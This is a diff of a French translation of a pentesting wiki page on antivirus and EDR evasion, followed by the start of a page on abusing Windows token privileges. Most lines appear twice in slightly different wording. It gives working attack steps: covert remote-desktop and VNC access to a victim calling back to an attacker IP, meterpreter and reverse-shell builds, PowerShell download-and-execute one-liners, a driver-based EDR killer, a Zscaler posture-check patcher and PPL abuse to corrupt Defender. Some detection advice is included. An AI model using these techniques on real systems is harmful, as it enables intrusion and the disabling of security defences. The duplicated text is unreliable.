2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn`
3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue.
4. Execute the given parameter with some adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note the pin param which allows to set the pin withuot using the GUI).
## Advanced Evasion
L'évasion est un sujet très complexe : parfois il faut prendre en compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétectable dans des environnements matures.
Lévasion est un sujet très complexe : parfois il faut prendre en compte de nombreuses sources de télémétrie sur un même système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
Chaque environnement contre lequel vous intervenez aura ses propres forces et faiblesses.
Chaque environnement contre lequel vous opérez aura ses propres forces et faiblesses.
Je vous encourage vivement à regarder cette conférence de [@ATTL4S](https://twitter.com/DaniLJ94), pour vous initier à des techniques d'Advanced Evasion.
Je vous encourage vivement à regarder cette intervention de [@ATTL4S](https://twitter.com/DaniLJ94) pour obtenir une première approche des techniques dAdvanced Evasion.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
C'est aussi une excellente conférence de [@mariuszbit](https://twitter.com/mariuszbit) à propos d'Evasion in Depth.
Ceci est aussi une excellente présentation de [@mariuszbit](https://twitter.com/mariuszbit) à propos de lEvasion in Depth.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Anciennes techniques**
## **Old Techniques**
### **Vérifier quelles parties Defender considère comme malveillantes**
### **Check which parts Defender finds as malicious**
Vous pouvez utiliser [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) qui va **retirer des parties du binaire** jusqu'à ce qu'il **détermine quelle partie Defender** considère comme malveillante et vous la sépare.\
Un autre outil faisant **la même chose est** [**avred**](https://github.com/dobin/avred) avec une offre web du service sur [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Vous pouvez utiliser [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) qui **supprime des parties du binaire** jusquà ce quil **détermine quelle partie Defender** considère comme malveillante et vous la révèle.\
Un autre outil faisant la **même chose est** [**avred**](https://github.com/dobin/avred) qui propose un service web ouvert sur [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
Jusqu'à Windows10, toutes les versions de Windows étaient fournies avec un **serveur Telnet** que vous pouviez installer (en tant qu'administrateur) en faisant:
Jusqu’à Windows10, toutes les éditions de Windows fournissaient un **Telnet server** que vous pouviez installer (en administrateur) en faisant :
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Faites en sorte qu'il **démarre** au démarrage du système et **exécutez-le** maintenant :
Faites-le **démarrer** au démarrage du système et **exécutez-le** maintenant :
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -492,29 +491,29 @@ netsh advfirewall set allprofiles state off
```
### UltraVNC
Téléchargez-le depuis : [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
**ON THE HOST**: Exécutez _**winvnc.exe**_ et configurez le serveur :
**SUR L'HÔTE** : Exécutez _**winvnc.exe**_ et configurez le serveur :
- Activez l'option _Disable TrayIcon_
- Définissez un mot de passe dans _VNC Password_
- Définissez un mot de passe dans _View-Only Password_
Puis, déplacez le binaire _**winvnc.exe**_ et le fichier **nouvellement** créé _**UltraVNC.ini**_ à l'intérieur de la **victim**
Ensuite, déplacez le binaire _**winvnc.exe**_ et le fichier nouvellement créé _**UltraVNC.ini**_ à l'intérieur de la **victim**
#### **Reverse connection**
L'**attacker** doit **exécuter sur** son **host** le binaire `vncviewer.exe -listen 5900` afin d'être **préparé** à capturer une reverse **VNC connection**. Ensuite, dans la **victim** : démarrez le daemon winvnc `winvnc.exe -run` et lancez `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
L'**attacker** doit exécuter sur son **host** le binaire `vncviewer.exe -listen 5900` afin d'être **préparé** à capter une reverse **VNC connection**. Puis, sur la **victim** : démarrez le daemon `winvnc.exe -run` et lancez `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**WARNING:** Pour rester discret, vous ne devez pas faire certaines choses
**AVERTISSEMENT :** Pour rester discret, vous ne devez pas faire certaines choses
- Ne lancez pas `winvnc` s'il est déjà en cours d'exécution, sinon vous déclencherez un [popup](https://i.imgur.com/1SROTTl.png). vérifiez s'il tourne avec `tasklist | findstr winvnc`
- Ne lancez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire, sinon cela provoquera l'ouverture de [the config window](https://i.imgur.com/rfMQWcf.png)
- Ne lancez pas `winvnc -h` pour l'aide sinon vous déclencherez un [popup](https://i.imgur.com/oc18wcu.png)
- Ne lancez pas `winvnc` s'il est déjà en cours d'exécution sinon vous déclencherez un [popup](https://i.imgur.com/1SROTTl.png). Vérifiez s'il tourne avec `tasklist | findstr winvnc`
- Ne lancez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire, sinon [the config window](https://i.imgur.com/rfMQWcf.png) s'ouvrira
- N'exécutez pas `winvnc -h` pour l'aide sinon vous déclencherez un [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
Téléchargez-le depuis : [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
@ -532,11 +531,11 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Maintenant, **démarrez le listener** avec `msfconsole -r file.rc` et **exécutez** la **xml payload** avec :
Maintenant **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** le **xml payload** avec :
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Le defender actuel terminera le processus très rapidement.**
**Le Defender actuel terminera le processus très rapidement.**
### Compiler notre propre reverse shell
@ -544,7 +543,7 @@ https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Premier C# Revershell
Compilez-le avec:
Compilez-le avec :
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
@ -625,7 +624,7 @@ catch (Exception err) { }
}
}
```
### C# using compilateur
### C# en utilisant le compilateur
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -633,7 +632,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe RE
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
Téléchargement automatique et exécution :
Téléchargement et exécution automatiques:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
@ -645,7 +644,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Liste d'obfuscateurs pour C# : [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
Liste d'obfuscateurs C# : [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -660,7 +659,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Exemple d'utilisation de Python pour construire des injecteurs :
### Exemple d'utilisation de python pour build injectors:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -689,28 +688,28 @@ https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
### Plus
### More
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
## Bring Your Own Vulnerable Driver (BYOVD) Neutraliser AV/EDR depuis l'espace noyau
Storm-2603 a utilisé un petit utilitaire en console connu sous le nom de **Antivirus Terminator** pour désactiver les protections endpoint avant de déployer un ransomware. L'outil apporte son **propre driver vulnérable mais *signé*** et l'abuse pour effectuer des opérations privilégiées au niveau noyau que même les services AV en Protected-Process-Light (PPL) ne peuvent bloquer.
Storm-2603 a utilisé un petit utilitaire console connu sous le nom de **Antivirus Terminator** pour désactiver les protections endpoints avant de déposer un ransomware. L'outil apporte **son propre pilote vulnérable mais *signé*** et l'abuse pour effectuer des opérations privilégiées en espace noyau que même les services AV Protected-Process-Light (PPL) ne peuvent bloquer.
Principaux enseignements
1. **Pilote signé** : Le fichier déposé sur le disque est `ServiceMouse.sys`, mais le binaire est le pilote légitimement signé `AToolsKrnl64.sys` issu du “System In-Depth Analysis Toolkit” d'Antiy Labs. Parce que le pilote porte une signature Microsoft valide, il se charge même lorsque Driver-Signature-Enforcement (DSE) est activé.
2. **Installation du service** :
Points clés
1. **Signed driver**: Le fichier déposé sur le disque est `ServiceMouse.sys`, mais le binaire est le pilote légitimement signé `AToolsKrnl64.sys` du “System In-Depth Analysis Toolkit” d'Antiy Labs. Parce que le pilote porte une signature Microsoft valide, il se charge même lorsque Driver-Signature-Enforcement (DSE) est activé.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
La première ligne enregistre le driver en tant que **service noyau** et la seconde le démarre de sorte que `\\.\ServiceMouse` devienne accessible depuis l'espace utilisateur.
3. **IOCTLs exposés par le driver**
La première ligne enregistre le pilote comme un **service kernel** et la seconde le démarre de sorte que `\\.\ServiceMouse` devienne accessible depuis l'espace utilisateur.
3. **IOCTLs exposed by the driver**
| IOCTL code | Capacité |
|-----------:|---------------------------------------|
| `0x99000050` | Terminer un processus arbitraire par PID (utilisé pour tuer les services Defender/EDR) |
| `0x990000D0` | Supprimer un fichier arbitraire sur le disque |
| `0x990001D0` | Décharger le driver et supprimer le service |
| `0x990001D0` | Décharger le pilote et supprimer le service |
Minimal C proof-of-concept:
```c
@ -724,27 +723,27 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Pourquoi cela fonctionne** : BYOVD contourne entièrement les protections en mode utilisateur ; le code exécuté dans le noyau peut ouvrir des processus *protégés*, les terminer ou manipuler des objets noyau indépendamment de PPL/PP, ELAM ou d'autres mécanismes de durcissement.
4. **Why it works**: BYOVD contourne complètement les protections en mode utilisateur ; du code s'exécutant en noyau peut ouvrir des processus *protégés*, les terminer, ou altérer des objets noyau indépendamment de PPL/PP, ELAM ou d'autres mécanismes de durcissement.
Détection / Atténuation
Activez la liste de blocage des drivers vulnérables de Microsoft (`HVCI`, `Smart App Control`) pour que Windows refuse de charger `AToolsKrnl64.sys`.
Surveillez la création de nouveaux services *noyau* et alertez lorsqu'un driver est chargé depuis un répertoire accessible en écriture par tous ou n'est pas présent sur la allow-list.
Recherchez des handles en mode utilisateur vers des objets de périphérique personnalisés suivis d'appels `DeviceIoControl` suspects.
Detection / Mitigation
Activez la liste de blocage des pilotes vulnérables de Microsoft (`HVCI`, `Smart App Control`) afin que Windows refuse de charger `AToolsKrnl64.sys`.
• Surveillez la création de nouveaux services *kernel* et générez des alertes lorsqu'un pilote est chargé depuis un répertoire world-writable ou qu'il n'est pas présent sur la liste d'autorisation.
Surveillez les handles en mode utilisateur vers des objets device personnalisés suivis d'appels `DeviceIoControl` suspects.
### Contournement des contrôles de posture de Zscaler Client Connector via le patching binaire sur disque
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Le **Client Connector** de Zscaler applique localement des règles de posture de l'appareil et repose sur Windows RPC pour communiquer les résultats aux autres composants. Deux choix de conception faibles rendent un contournement complet possible :
Zscalers **Client Connector** applique localement des règles de posture de l'appareil et s'appuie sur Windows RPC pour communiquer les résultats aux autres composants. Deux choix de conception faibles rendent un contournement complet possible :
1. L'évaluation de la posture se fait **entièrement côté client** (un booléen est envoyé au serveur).
2. Les endpoints RPC internes valident uniquement que l'exécutable qui se connecte est **signé par Zscaler** (via `WinVerifyTrust`).
1. L'évaluation de posture a lieu **entièrement côté client** (un booléen est envoyé au serveur).
2. Les endpoints RPC internes ne valident que l'exécutable connecté est **signé par Zscaler** (via `WinVerifyTrust`).
En **patchant quatre binaires signés sur le disque**, les deux mécanismes peuvent être neutralisés :
En **patchant quatre binaires signés sur disque**, les deux mécanismes peuvent être neutralisés :
| Binaire | Logique originale patchée | Résultat |
|--------|----------------------------|---------|
|--------|---------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Retourne toujours `1` donc chaque vérification est conforme |
| `ZSAService.exe` | Appel indirect à `WinVerifyTrust` | NOP-ed ⇒ n'importe quel processus (même non signé) peut se connecter aux pipes RPC |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Remplacée par `mov eax,1 ; ret` |
| `ZSAService.exe` | Appel indirect à `WinVerifyTrust` | NOP-ed ⇒ n'importe quel processus (même non signé) peut se binder aux pipes RPC |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Remplacé par `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Vérifications d'intégrité sur le tunnel | Court-circuitées |
Minimal patcher excerpt:
@ -763,31 +762,31 @@ f.write(replacement)
```
Après avoir remplacé les fichiers originaux et redémarré la pile de services :
* **Tous** les contrôles de posture affichent **vert/conforme**.
* Les binaires non signés ou modifiés peuvent ouvrir les points de terminaison RPC nommés (par ex. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* L'hôte compromis obtient un accès sans restriction au réseau interne défini par les politiques Zscaler.
* **Toutes** les vérifications de posture affichent **vert/conforme**.
* Les binaires non signés ou modifiés peuvent ouvrir les points de terminaison RPC de named-pipe (ex. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* L'hôte compromis obtient un accès illimité au réseau interne défini par les politiques Zscaler.
Cette étude de cas montre comment des décisions de confiance purement côté client et de simples vérifications de signature peuvent être déjouées avec quelques modifications d'octets.
Cette étude de cas montre comment des décisions de confiance purement côté client et des vérifications de signature simples peuvent être contournées par quelques patchs d'octets.
## Abuser de Protected Process Light (PPL) pour altérer AV/EDR avec des LOLBINs
## Abuser Protected Process Light (PPL) pour altérer AV/EDR avec LOLBINs
Protected Process Light (PPL) applique une hiérarchie signer/niveau de sorte que seuls des processus protégés de niveau égal ou supérieur peuvent s'altérer mutuellement. Du point de vue offensif, si vous pouvez lancer légitimement un binaire activé pour PPL et contrôler ses arguments, vous pouvez convertir une fonctionnalité bénigne (par ex. la journalisation) en une primitive d'écriture contrainte, soutenue par PPL, visant des répertoires protégés utilisés par AV/EDR.
Protected Process Light (PPL) applique une hiérarchie signer/niveau de sorte que seuls les processus protégés de même niveau ou de niveau supérieur peuvent se modifier mutuellement. Offensivement, si vous pouvez lancer légitimement un binaire activé PPL et contrôler ses arguments, vous pouvez convertir une fonctionnalité bénigne (par ex., le logging) en une primitive d'écriture contrainte, soutenue par PPL, ciblant des répertoires protégés utilisés par AV/EDR.
Ce qui fait qu'un processus s'exécute en tant que PPL
- L'EXE cible (et toutes les DLL chargées) doit être signé avec un EKU compatible PPL.
What makes a process run as PPL
- L'EXE ciblé (et toutes les DLL chargées) doit être signé avec un EKU compatible PPL.
- Le processus doit être créé avec CreateProcess en utilisant les flags : `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Un niveau de protection compatible doit être demandé et correspondre au signataire du binaire (p. ex., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` pour les signataires anti-malware, `PROTECTION_LEVEL_WINDOWS` pour les signataires Windows). Des niveaux incorrects échoueront à la création.
- Un niveau de protection compatible doit être demandé et correspondre au signataire du binaire (par ex., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` pour les signataires anti-malware, `PROTECTION_LEVEL_WINDOWS` pour les signataires Windows). Des niveaux incorrects entraîneront un échec à la création.
Voir aussi une introduction plus large à PP/PPL et à la protection de LSASS ici :
See also a broader intro to PP/PPL and LSASS protection here:
{{#ref}}
stealing-credentials/credentials-protections.md
{{#endref}}
Outils de lancement
- Aide open-source : CreateProcessAsPPL (sélectionne le niveau de protection et transmet les arguments à l'EXE cible) :
Launcher tooling
- Outil open-source : CreateProcessAsPPL (sélectionne le niveau de protection et transmet les arguments à l'EXE cible) :
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
- Patron d'utilisation :
- Schéma d'utilisation :
```text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
@ -796,50 +795,50 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitive: ClipUp.exe
- Le binaire système signé `C:\Windows\System32\ClipUp.exe` se lance lui-même et accepte un paramètre pour écrire un fichier de log vers un chemin spécifié par l'appelant.
- Lorsqu'il est lancé en tant que processus PPL, l'écriture du fichier s'effectue avec le support PPL.
- ClipUp ne peut pas analyser les chemins contenant des espaces ; utilisez des noms courts 8.3 pour pointer vers des emplacements normalement protégés.
- Le binaire système signé `C:\Windows\System32\ClipUp.exe` se lance luimême et accepte un paramètre pour écrire un fichier journal vers un chemin spécifié par l'appelant.
- Lorsqu'il est lancé en tant que processus PPL, l'écriture du fichier s'effectue avec la prise en charge PPL.
- ClipUp ne peut pas analyser les chemins contenant des espaces ; utilisez des chemins 8.3 (short paths) pour pointer vers des emplacements normalement protégés.
8.3 short path helpers
- Lister les noms courts : `dir /x` dans chaque répertoire parent.
- Dériver le chemin court dans cmd : `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
- Dériver le chemin 8.3 dans cmd : `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) Lancer le LOLBIN compatible PPL (ClipUp) avec `CREATE_PROTECTED_PROCESS` en utilisant un lanceur (par ex., CreateProcessAsPPL).
2) Fournir l'argument de chemin de log de ClipUp pour forcer la création d'un fichier dans un répertoire AV protégé (par ex., Defender Platform). Utiliser des noms courts 8.3 si nécessaire.
3) Si le binaire cible est normalement ouvert/verrouillé par l'AV lors de son exécution (par ex., MsMpEng.exe), planifier l'écriture au démarrage avant que l'AV ne démarre en installant un service auto-démarré qui s'exécute de façon fiable plus tôt. Valider l'ordre de démarrage avec Process Monitor (boot logging).
4) Au redémarrage, l'écriture supportée par PPL a lieu avant que l'AV ne verrouille ses binaires, corrompant le fichier cible et empêchant le démarrage.
1) Lancer le LOLBIN capable de PPL (ClipUp) avec `CREATE_PROTECTED_PROCESS` en utilisant un lanceur (par ex., CreateProcessAsPPL).
2) Fournir l'argument de chemin de log à ClipUp pour forcer la création d'un fichier dans un répertoire AV protégé (par ex., Defender Platform). Utilisez des noms 8.3 si nécessaire.
3) Si le binaire cible est normalement ouvert/verrouillé par l'AV pendant son exécution (par ex., MsMpEng.exe), planifier l'écriture au démarrage avant que l'AV ne démarre en installant un service auto-start qui s'exécute de façon fiable plus tôt. Valider l'ordre de démarrage avec Process Monitor (boot logging).
4) Au redémarrage, l'écriture avec prise en charge PPL a lieu avant que l'AV ne verrouille ses binaires, corrompant le fichier cible et empêchant le démarrage.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notes et contraintes
- Vous ne pouvez pas contrôler le contenu que ClipUp écrit au-delà de son emplacement ; le primitive est mieux adapté à la corruption qu'à une injection de contenu précise.
- Nécessite des droits locaux admin/SYSTEM pour installer/démarrer un service et une fenêtre de redémarrage.
- Le timing est critique : la cible ne doit pas être ouverte ; l'exécution au démarrage évite les verrous de fichiers.
Remarques et contraintes
- Vous ne pouvez pas contrôler le contenu que ClipUp écrit au-delà de l'emplacement ; la primitive est adaptée à la corruption plutôt qu'à l'injection précise de contenu.
- Nécessite des privilèges locaux admin/SYSTEM pour installer/démarrer un service et une fenêtre de redémarrage.
- Le timing est critique : la cible ne doit pas être ouverte ; l'exécution au démarrage évite les verrouillages de fichiers.
Détections
- Création de processus de `ClipUp.exe` avec des arguments inhabituels, en particulier parenté par des lanceurs non standard, autour du démarrage.
- Nouveaux services configurés pour démarrer automatiquement des binaires suspects et qui démarrent systématiquement avant Defender/AV. Investiguer la création/modification de services avant les échecs de démarrage de Defender.
- Surveillance d'intégrité des fichiers sur les binaires/les répertoires Platform de Defender ; créations/modifications de fichiers inattendues par des processus avec des flags de processus protégé.
- Télémetrie ETW/EDR : rechercher des processus créés avec `CREATE_PROTECTED_PROCESS` et une utilisation anormale de niveaux PPL par des binaires non-AV.
- Création de processus de `ClipUp.exe` avec des arguments inhabituels, surtout si parenté par des lanceurs non standard, autour du démarrage.
- Nouveaux services configurés pour auto-démarrer des binaires suspects et démarrant systématiquement avant Defender/AV. Investiguer la création/modification de services avant les échecs de démarrage de Defender.
- Surveillance de l'intégrité des fichiers sur les binaires/les répertoires Platform de Defender ; créations/modifications de fichiers inattendues par des processus avec des flags protected-process.
- Télémetrie ETW/EDR : rechercher des processus créés avec `CREATE_PROTECTED_PROCESS` et une utilisation anormale du niveau PPL par des binaires non-AV.
Atténuations
- WDAC/Code Integrity : restreindre quels binaires signés peuvent s'exécuter en tant que PPL et sous quels parents ; bloquer l'invocation de ClipUp en dehors de contextes légitimes.
- Hygiène des services : restreindre la création/modification de services à démarrage automatique et surveiller la manipulation de l'ordre de démarrage.
- Veiller à ce que la protection contre la manipulation (tamper protection) et les protections de démarrage précoce soient activées ; investiguer les erreurs de démarrage indiquant une corruption binaire.
- Hygiène des services : restreindre la création/modification de services auto-démarrés et surveiller la manipulation de l'ordre de démarrage.
- S'assurer que la protection contre le sabotage (tamper protection) de Defender et les protections de lancement précoce sont activées ; investiguer les erreurs de démarrage indiquant une corruption de binaire.
- Envisager de désactiver la génération de noms courts 8.3 sur les volumes hébergeant des outils de sécurité si compatible avec votre environnement (tester soigneusement).
Références pour PPL et les outils
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## References
## Références
- [Unit42 New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)

View File

@ -1,180 +0,0 @@
# Abusing Tokens
{{#include ../../../banners/hacktricks-training.md}}
## Tokens
Si vous **ne savez pas ce que sont les Windows Access Tokens**, lisez cette page avant de continuer :
{{#ref}}
../access-tokens.md
{{#endref}}
**Peut-être pourriez-vous être en mesure d'escalader les privilèges en abusant des tokens que vous avez déjà**
### SeImpersonatePrivilege
C'est un privilège détenu par tout processus qui permet l'imitation (mais pas la création) de tout token, à condition qu'un handle puisse être obtenu. Un token privilégié peut être acquis à partir d'un service Windows (DCOM) en l'incitant à effectuer une authentification NTLM contre un exploit, permettant ensuite l'exécution d'un processus avec des privilèges SYSTEM. Cette vulnérabilité peut être exploitée à l'aide de divers outils, tels que [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (qui nécessite que winrm soit désactivé), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) et [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
Il est très similaire à **SeImpersonatePrivilege**, il utilisera la **même méthode** pour obtenir un token privilégié.\
Ensuite, ce privilège permet **d'assigner un token principal** à un nouveau processus/suspendu. Avec le token d'imitation privilégié, vous pouvez dériver un token principal (DuplicateTokenEx).\
Avec le token, vous pouvez créer un **nouveau processus** avec 'CreateProcessAsUser' ou créer un processus suspendu et **définir le token** (en général, vous ne pouvez pas modifier le token principal d'un processus en cours d'exécution).
### SeTcbPrivilege
Si vous avez activé ce token, vous pouvez utiliser **KERB_S4U_LOGON** pour obtenir un **token d'imitation** pour tout autre utilisateur sans connaître les identifiants, **ajouter un groupe arbitraire** (administrateurs) au token, définir le **niveau d'intégrité** du token à "**moyen**", et assigner ce token au **fil d'exécution actuel** (SetThreadToken).
### SeBackupPrivilege
Le système est amené à **accorder tous les accès en lecture** à tout fichier (limité aux opérations de lecture) par ce privilège. Il est utilisé pour **lire les hachages de mot de passe des comptes Administrateur locaux** à partir du registre, après quoi des outils comme "**psexec**" ou "**wmiexec**" peuvent être utilisés avec le hachage (technique Pass-the-Hash). Cependant, cette technique échoue dans deux conditions : lorsque le compte Administrateur local est désactivé, ou lorsqu'une politique est en place qui retire les droits administratifs des Administrateurs locaux se connectant à distance.\
Vous pouvez **abuser de ce privilège** avec :
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- suivant **IppSec** dans [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- Ou comme expliqué dans la section **escalade des privilèges avec les opérateurs de sauvegarde** de :
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
Ce privilège permet un **accès en écriture** à tout fichier système, indépendamment de la liste de contrôle d'accès (ACL) du fichier. Il ouvre de nombreuses possibilités d'escalade, y compris la capacité à **modifier des services**, effectuer du DLL Hijacking, et définir des **débogueurs** via les options d'exécution de fichiers d'image parmi diverses autres techniques.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege est un puissant privilège, particulièrement utile lorsqu'un utilisateur possède la capacité d'imiter des tokens, mais aussi en l'absence de SeImpersonatePrivilege. Cette capacité repose sur la possibilité d'imiter un token qui représente le même utilisateur et dont le niveau d'intégrité ne dépasse pas celui du processus actuel.
**Points Clés :**
- **Imitation sans SeImpersonatePrivilege :** Il est possible de tirer parti de SeCreateTokenPrivilege pour EoP en imitant des tokens dans des conditions spécifiques.
- **Conditions pour l'imitation de token :** Une imitation réussie nécessite que le token cible appartienne au même utilisateur et ait un niveau d'intégrité inférieur ou égal à celui du processus tentant l'imitation.
- **Création et modification de tokens d'imitation :** Les utilisateurs peuvent créer un token d'imitation et l'améliorer en ajoutant un SID (Identifiant de Sécurité) d'un groupe privilégié.
### SeLoadDriverPrivilege
Ce privilège permet de **charger et décharger des pilotes de périphériques** en créant une entrée de registre avec des valeurs spécifiques pour `ImagePath` et `Type`. Étant donné que l'accès en écriture direct à `HKLM` (HKEY_LOCAL_MACHINE) est restreint, `HKCU` (HKEY_CURRENT_USER) doit être utilisé à la place. Cependant, pour rendre `HKCU` reconnaissable par le noyau pour la configuration du pilote, un chemin spécifique doit être suivi.
Ce chemin est `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, où `<RID>` est l'Identifiant Relatif de l'utilisateur actuel. À l'intérieur de `HKCU`, ce chemin entier doit être créé, et deux valeurs doivent être définies :
- `ImagePath`, qui est le chemin vers le binaire à exécuter
- `Type`, avec une valeur de `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**Étapes à Suivre :**
